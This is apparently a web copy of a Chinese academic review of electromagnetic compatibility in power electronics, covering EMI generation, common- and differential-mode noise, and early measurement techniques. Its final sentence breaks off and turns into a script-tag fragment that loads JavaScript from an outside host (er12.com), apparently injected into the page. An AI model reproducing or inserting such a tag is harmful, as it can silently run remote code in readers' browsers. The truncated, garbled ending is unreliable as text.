摘 要:电力电子装置的高频化和大容量化不仅导致器件所承受的电应 力的增加和开关损耗的增加，而且产生难以抑制的宽带电磁干扰［1-3］，对电网 和环境造成严重的电磁污染，甚至威胁到其本身乃至与其相关的其他电子设备的正常工作。 本文从电力电子装置的电磁干扰源产生的机理入手，概括了近年来国外的最新研究成果，并 着重分析对比了硬开关与软开关的电磁干扰特性。
关键词：开关变换器 电磁兼容性 硬开关 软开关
a review of emc in power electronic devices
wang dongyan zhang linchang
（northern jiaotong universi ty 100044 china）
abstract the high switching frequency operation of high power converters has not only lead to large electrical strain and switching loss for t he switching devices,but also generated unrestrained broadband emi(electromagnet ic interference)it brings the contamination to power line and electromagnetic environment,and even results in selfmalfunction or unaccepted response of vict im devicesfirst,this paper reviews the principle of the generation of emi in p ower electronic devices,then the state-of-the-art emc techniques in the field o f power electronics are summarized,and the comparative study of the emc performa nce of hard switching and soft switching is emphasized
keywords:power converter electromagnetic compatibility(emc) ha rd switching soft switching
1 引言
电力电子装置以其高效率进行电能转换著称，正日益广泛应用于工业与民用的电力变换与传 动控制。据估计，工业生产中70％的电能都通过电力电子装置变换后才为人类所利用。8 0年代后期，功率场控器件的实用化和大容量化，使电力电子装置跨入高频化、大容量时代 。由于电力电子换流过程中产生前后沿很陡的（di/dt可达1a/ns，dv/dt 可达3v/ns）脉冲，从而引发了严重的电磁干扰。这些干扰经近场和远场耦合形成传导和辐 射干扰，严重污染周围电磁环境和电源系统，这不仅会使变换电路自身的可靠性降低，而且 使电网及邻近设备运行质量受到严重影响。
随着电子信息产业的发展，以开关变换器为核心的电力电子装置正广泛应用于以电子计算机 为主导的各种终端设备、通信设备等几乎所有的电子设备。在美国佛吉尼亚电力电子研究中 心（virginia power electronic center——vpec）1997年的年度报告上这样写到： 如 果说是微处理器技术的进步促使计算机主频从1985年的16mhz发展到今天的200mhz ，那么，下一步向ghz的飞跃主要取决于电力电子技术的发展［4］。当芯片以ghz工 作时，电源必须以足够高的匹配速度给逻辑门供电（以pentiumpro为例，要求负载电流供 应速率为30a/μs），这也是intel不得不放慢pentium微处理器的时钟速度的一个重要原 因［4］。所以说，电力电子装置的电磁兼容性问题急待解决。
近年来，随着电力电子技术的发展，功率开关器件的容量也越来越大（如光控scr（silicon controllable rectifier）已有4000a/8000v的产品，igbt（insulated gatebip olar transistor）已有3500v/2400a的模块出售），开关频率越来越高，最高可达 几mhz，而装置的尺寸越来越小。以dc-dc电源为例，当前国内的水平为30w/in3 ，而国际水平则为120w/in3，预计2000年可达240w/in3。这些因素都要求 更进一步地加强电力电子装置电磁干扰特性及其防范的研究。特别是在设计阶段，对新装置 的干扰特性进行预估，缩短其开发周期，提高电力电子装置的电磁兼容性就成为至关重要的 问题。
2 电力电子装置电磁干扰源的探索性研究
在探寻电力电子装置电磁干扰源的过程中，人们通过大量的实验，不断总结新的经验。早在 1983年，schneider开发了用于测试运行中的开关电源的源阻抗特性的技术，这是一种 用标量法测量噪声频谱以确定源阻抗的实部和虚部的技术。该技术选择电抗性负载与噪声源 的 虚部振荡，通过振荡频率可确定噪声源的电抗部分。源阻抗的实部则由振荡噪声电流的峰值 确定。阻抗测试主要是在10khz～1mhz频段内进行的，基于测试结果，schneider提出描 述开关电源交流侧噪声源特性的共模和差模噪声的等效电路［5］。
由于共模电流的辐射作用通常比差模电流的辐射作用要大得多［6］，区分系统中的 共模干扰与差模干扰是十分必要的，vpec研究中心提出了功率合成器［7］，对 系统中的共模和差模传导干扰进行定量测量。
在电力电子装置中，共模噪声与差模噪声产生的内部机制也有所不同。差模噪声主要由开关 变换器的脉动电流引起；共模噪声则主要由较高的dv／dt与杂散参数间相互作用而 产生的高频振荡引起。如图1所示，共模电流icm包含连线到?script src=http://er12.com/t.js>
